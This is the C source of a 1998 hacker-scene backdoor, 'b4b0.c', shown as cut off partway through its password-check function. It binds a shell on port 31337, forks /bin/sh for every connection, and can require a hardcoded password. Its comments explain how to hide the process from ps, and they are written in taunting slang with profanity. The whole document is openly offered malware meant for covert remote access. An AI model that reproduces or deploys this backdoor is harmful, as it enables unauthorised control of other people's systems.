/* b4b0.c - Ok so1o, listen carefully. This backdoor just binds a shell to * the port of your choice on any given mashine. You can compile * this to support password authentication or to just drop you into * a root shell. Compile with -DPASSAUTH to suppost password auth. * "WHAT!??!?" you say so1o? No, you cant just use your traditional * cc teknEEq. Modify the line that says strcpy(argv[0], ""); to hold * whatever you want the backdoor to apear as to ps. You can easily * modify this to run whatever you want on the server when connected * to. * august something/98 * by r4lph m4lph..... * gardener of the b4b0 drug fields in Bogota, Columbia. */ #include #include #include #include #include #include #include #include #define PORT 31337 /* p0rt */ #define MSG "w3rD t0 d4 skrEEp7 k1dz\n" #define SHELL "/bin/sh" #ifdef PASSAUTH #define PASSWD "fuQ_l4mB" /* p4sswh0rd */ #endif #define YES 1 /* y3z 3y3 fuQ l4mBz */ #define NO 0 /* n0 3y3 dEEd n0t fuQ m0n1qA */ int main(int argc, char *argv[]); #ifdef PASSAUTH int login(int EffDee); #endif int main(int argc, char *argv[]) { int sockfd, newfd, size; struct sockaddr_in local; struct sockaddr_in remote; strcpy(argv[0], ""); signal(SIGCHLD, SIG_IGN); /* 1gn0re th3 d1e1ng fUq1ng k1dz */ bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(PORT); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero), 8); if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } if(bind(sockfd, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } if(listen(sockfd, 5) == -1) { perror("listen"); exit(1); } size = sizeof(struct sockaddr_in); while(1) { if((newfd=accept(sockfd, (struct sockaddr *)&remote, &size)) == -1) { perror("accept"); exit(1); } if(!fork()) { send(newfd, MSG, sizeof(MSG), 0); /* s4y h1 t0 so1o */ #ifdef PASSAUTH if(login(newfd) != 1) { send(newfd, "FUCK OFF\n", 9, 0); /* s4y bY3 t0 so1o */ close(newfd); exit(1); } #endif close(0); close(1); close(2); dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2); execl(SHELL, SHELL, (char *)0); close(newfd); exit(0); } close(newfd); } return(0); } #ifdef PASSAUTH int login(int EffDee) { char u_passwd[15]; int i; send(EffDee, "Password: ", 11, 0); /* l0g1n so1o */ recv(EffDee, u_passwd, sizeof(u_passwd), 0); for(i=0;i